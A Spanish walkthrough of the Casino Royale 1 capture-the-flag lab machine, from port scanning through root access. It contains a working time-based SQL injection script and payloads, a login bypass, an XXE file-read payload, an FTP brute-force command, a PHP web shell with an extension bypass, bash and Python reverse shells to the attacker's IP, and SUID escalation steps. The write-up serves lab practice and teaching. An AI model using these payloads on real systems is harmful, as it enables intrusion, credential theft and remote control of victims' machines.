Explicación e instalación
En este segundo escenario vamos a estar resolviendo la máquina llamada Casino Royale 1 que podremos descargar el OVA a través del siguiente link. Cabe destacar que en este caso tendremos que colocar la interfaz de red en modo Bridged y Replicate physical network connection state.
Resolución
Reconocimiento
Enumeración con NMAP
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
25/tcp open smtp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
8081/tcp open blackice-icecap syn-ack ttl 64
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
25/tcp open smtp Postfix smtpd
|_smtp-commands: casino.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
| ssl-cert: Subject: commonName=casino
| Subject Alternative Name: DNS:casino
| Not valid before: 2018-11-17T20:14:11
|_Not valid after: 2028-11-14T20:14:11
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 2 disallowed entries
|_/cards /kboard
|_http-server-header: Apache/2.4.25 (Debian)
8081/tcp open http PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Fuerza bruta para directorios
"index.php"
"includes"
"install"
"javascript"
"cards"
"phpmyadmin"
"server-status"
phpmyadmin/templates/
phpmyadmin/themes/
phpmyadmin/doc/
phpmyadmin/js/
phpmyadmin/libraries/
phpmyadmin/setup/
phpmyadmin/sql/
phpmyadmin/locale/
El directorio /install
es el que nos brindó pistas ya que buscando con searchsploit PokerMax
encontramos una vulnerabilidad que dentro del código explica que hay una ruta llamada
http://192.168.0.25.com/pokerleague/pokeradmin/configure.php
No es válida en nuestro caso pero si vamos a la ruta /pokeradmin/configure.php
llegamos a un panel de Login
Explotación
Login Bypass / Time SQLI Script
Se puede generar un Bypass proporcionando admin' or 1=1-- -
, también se puede utilizar un script para hacer una Time SQLI para obtener información de las bases de datos.
#!/usr/bin/python3
import os
import string
import time
import signal
from pwn import *
import requests
# Ctrl+C
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://192.168.0.25/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":_-.,"
def time_sqli():
extracted_info = ""
p1 = log.progress("SQLI")
p1.status("Iniciando ataque de Inyección SQL")
time.sleep(2)
p2 = log.progress("Datos extraídos")
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
for position in range(1, 200):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr(database(),%d,1)='%s', sleep(0.5),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.5:
extracted_info += character
p2.status(extracted_info)
break
p1.success("Inyección SQL completada exitosamente")
p2.success(extracted_info)
if __name__ == '__main__':
time_sqli()
Bases de datos: information_schema, mysql , performance_schema , phpmyadmin , pokerleague,vip
- Para listar todas las bases de datos existentes:
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s', sleep(0.5),1)-- -
- Para listas todas las tablas de una base de datos especifica:
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s', sleep(0.5),1)-- -
- Para listar todas las columnas de una tabla especifica:
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s', sleep(0.5),1)-- -
- Para listar el contenido de una columna especifica:
admin' and if(substr((select group_concat(username,0x3a,password) from pokerleague.pokermax_admin),%d,1)='%s', sleep(0.5),1)-- -
Si nos dirigimos a la sección de Manage Players
podremos ver todos los usuarios, entre ellos destaca el usuario Valenka que nos permite enviarle un correo. Si observamos la información de dicho correo veremos que nos da la ruta /vip-client-portfolios/?uri=blog
por lo tanto accedemos a ella.
SMTP Service
Dentro de la ruta que nos brindo el usuario Valenka, encontramos en una de las secciones de los Blogs una explicación sobre como enviarle correos a Valenka en caso de querer ser parte de la empresa, para esto da un par de instrucciones e indica que cada cierto tiempo ella revisa los correos.
Por lo tanto como nosotros previamente vimos que el servicio SMTP estaba abierto vamos hacia el y probamos enviarle un correo. Cabe destacar que a veces el servicio SMTP no valida si el correo nuestro es legítimo, en este caso no lo valida. Dentro del correo proporcionamos un link ya que sabemos que Valenka revisa seguido su buzón, y que abre los links que le envían.
En el siguiente ejemplo referencio a un archivo cookie.js
pero es a modo explicativo.
Si enviamos el correo y mientras nosotros tenemos abierto un servidor con python3 ofreciendo un archivo, en mi caso el cookie.js
, veremos que luego de enviar el correo Valenka ingresa al link, por lo tanto podemos intentar acontecer que Valenka al ingresar al link que le enviemos genere algo a nuestro favor en la web, es decir un CSRF.
Con searchsploit
buscamos vulnerabilidades para Snow fox y utilizamos dicho exploit para acontecer un CSRF compartiendo dicho script con nuestro servidor montado en python. De esta forma al enviarle un correo a Valenka con el url exacto de donde está nuestro script de searchsploit podremos hacer que Valenka cree una cuenta con privilegios.
XXE
Una vez dentro de la cuenta que hemos creado con el Exploit podremos listar información de los usuarios privilegiados, en uno de ellos en su descripción nos otorgara una ruta válida de la web que desconocíamos. Dentro de esta web al ver el código fuente nos indican que podemos tramitar peticiones por POST para que sean interpretadas, siendo así válida una XXE ya que los archivos XML son válidos.
Para realizar todo lo anterior es necesario que representemos de forma manual los diferentes tipos de datos que nos indica la web como “pistas”.
Por lo tanto lo que haremos será agregar la siguiente cadena al inicio de la estructura XML.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
Después hacemos una llamada a esa entidad xxe
que hemos creado con &xxe;
colocando dicha cadena en el campo que veíamos que se reflejaba en la respuesta. De estar todo correcto, deberíamos ver el /etc/passwd
.
Vemos que hay un usuario llamado ftpUserULTRA
por lo tanto al ser un nombre tan llamativo haciendo referencia al servicio FTP que recordemos que está ABIERTO, probaremos un ataque de fuerza bruta con la herramienta hydra
para ver si conseguimos su credencial.
hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt ftp://192.168.0.25 -t 20
FTP Service
Para que tengan en cuenta, la contraseña está cerca de la línea número 48.000 por lo tanto la fuerza bruta tardará aproximadamente tres horas, hay que tener paciencia.
La contraseña es: bankbank
Recordemos que nosotros de la web http://casino-royale.local/ultra-access-view/main.php
retrocedimos un directorio a http://casino-royale.local/ultra-access-view
, y al entrar al servicio FTP y hacer un ls
veremos que están los mismos directorios que en la web, por lo tanto podemos aprovecharnos de esto.
Una vez dentro del servicio FTP podemos meter un archivo php
malicioso para que nos lo interprete y de esta forma sea ejecutado por nosotros desde la web, en este archivo colocaremos una instrucción que nos entable ejecución remota de comandos.
<?php
system($_GET['cmd'])
?>
Si intentamos de primeras subir el archivo con put cmd.php
no vamos a poder, porque por detrás hay algún tipo de protección que no permite traer archivos con extensiones, por lo tanto subiremos el archivo pero con nombre cmd
.
Una vez hecho lo anterior podemos renombrar el archivo desde dentro del servicio FTP de cmd
a cmd.php
, esto lo podemos hacer con rename
, si lo intentamos veremos que no podemos ya que la sanitización del servicio se ve que evita los archivos con extensión php
, por lo tanto probaremos con otras extensiones de php
que son válidas también, para esto podemos apoyarnos de la unidad de Abuso de subida de archivos.
En mi caso la extensión que funcionó fue php4
por lo tanto ahora solo quedaría ir a la web, abrir el archivo que hemos subido y probar el parámetro ?cmd=
en la URL para intentar inyectar comandos.
Ahora solo quedaría entablar la Reverse Shell primero poniéndonos en escucha con nc -nlvp 443
casino-royale.local/ultra-access-view/test/cmd.php4?cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.0.194/443 0>%261'
Ahora solo quedaría la etapa de escalada de privilegios.
Escalada de privilegios
Tratamiento de la shell para poder ver todo mas cómodo.
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
stty size
(En nuestra máquina y colocar el siguiente comando con las medidas que nos dio este)export TERM=xterm
export SHELL=bash
stty rows 41 columns 184
export TERM=xterm
(Para el clear de consola)
Método 1 para ganar acceso al usuario root
User Pivoting al usuario le
Explorando en el sistema los archivos con privilegios SUID encontré una ruta en /opt/casino-royale
dentro de está ruta hay variedad de archivos, entre ellos se encuentra uno llamado php-web-start.sh
con propietario le
que al hacerle un cat
vemos que está montando un servidor web por el puerto 8081, al ir a esa web vemos un botón que dice Run Data Collect
que al darle click si miramos la URL vemos que ejecuta el script collect.php
. Por lo tanto al ver el código del archivo collect.php
vemos que está ejecutando un archivo llamado casino-data-collection.py
en el cual tenemos permiso de escritura como usuario www-data
y el propietario es le
, debido a esto modificaremos el script de python colocándole la siguiente instrucción para entablar otra Reverse Shell pero que nos brinde una consola como el usuario le
.
/usr/bin/python
import socket
import os
import subprocess
s = socket.socket()
s.connect(("192.168.0.194", 443)) # Reemplaza TU_IP_EXTERNA y PUERTO
os.dup2(s.fileno(), 0) # Redirige stdin
os.dup2(s.fileno(), 1) # Redirige stdout
os.dup2(s.fileno(), 2) # Redirige stderr
subprocess.call(["/bin/sh", "-i"]) # Lanza una shell interactiva
Nos colocamos en escucha por el puerto 443.
Ahora solo queda darle click al botón de la web que dice Run Data Collect
para que nos interprete el archivo casino-data-collection.py
que posee nuestra Reverse Shell.
Ya somos el usuario le
ahora tenemos que buscar una vía potencial de volvernos el usuario root
para concluir con la máquina.
User Pivoting al usuario root
desde el usuario le
Si prestamos atención al script mi6_detect_test
y lo ejecutamos, vemos que el usuario root al final está intentando ejecutar el script run.sh
en el que somos propietarios como le
, por lo tanto podemos intentar manipular ese script para que al ejecutar mi16_detect_test
y el usuario root ejecute run.sh
nos brinde una consola interactiva como privilegiados.
La cadena que colocaremos en run.sh
será la siguiente.
/bin/bash -p
Luego ejecutamos al archivo SUID nuevamente por lo que vamos a ver los dos OUTPUTS, ya que el archivo mi6_detect_test
lo que hace es ejecutarse a si mismo y luego a run.sh
, que por lo que se ve poseen el mismo código ya que son casi iguales sus respuestas. Pero además de todo lo anterior, como nosotros colocamos en el archivo /bin/bash -p
ganaremos acceso al usuario root.
Método 2 para ganar acceso al usuario root
Una vez ganamos acceso a la máquina como el usuario www-data
podemos observar el directorio /var/www/html/
, en este veremos gran cantidad de recursos que son los que gestionan todas las web por donde nos estuvimos moviendo.
Por lo tanto filtraremos por archivos config
que suelen ser archivos similares a los wp-config.php
cuando vulneramos un CMS Wordpress, en estos archivos se almacenan datos sensibles y/o credenciales.
Ahora podemos hacerles un cat a todos y colocar un less -S
para que se muestre en formato paginated
y -r
para que interprete los caracteres raros ya que hay algunas letras en chino.
find -name \*config\* 2>/dev/null | xargs cat | less -S -r
Aislado a esto, si buscamos por archivos SUID find / -perm -4000 2>/dev/null
veremos un archivo que llama la atención con nombre /opt/casino-royale/mi6_detect_test
si lo intentamos ejecutar nos dice que no encuentra el archivo run.sh
.
Podríamos buscar más información acerca del binario SUID haciendo un strings /opt/casino-royale/mi6_detect_test | less -S
Por lo tanto podríamos ir al directorio /tmp/
y crear un run.sh
ya que el binario SUID ejecuta a dicho archivo. De esta forma podríamos colocarle un código que nos de una Bash privilegiada y a la hora de ejecutar el binario mi6_detect_test
root ejecutará nuestro run.sh
del directorio actual, es decir nuestro run.sh
malicioso, de esta forma ganaríamos acceso al usuario privilegiado.
#!/bin/bash
/bin/bash -p
Ahora simplemente queda ejecutar el binario SUID para que nos ejecute nuestro run.sh
.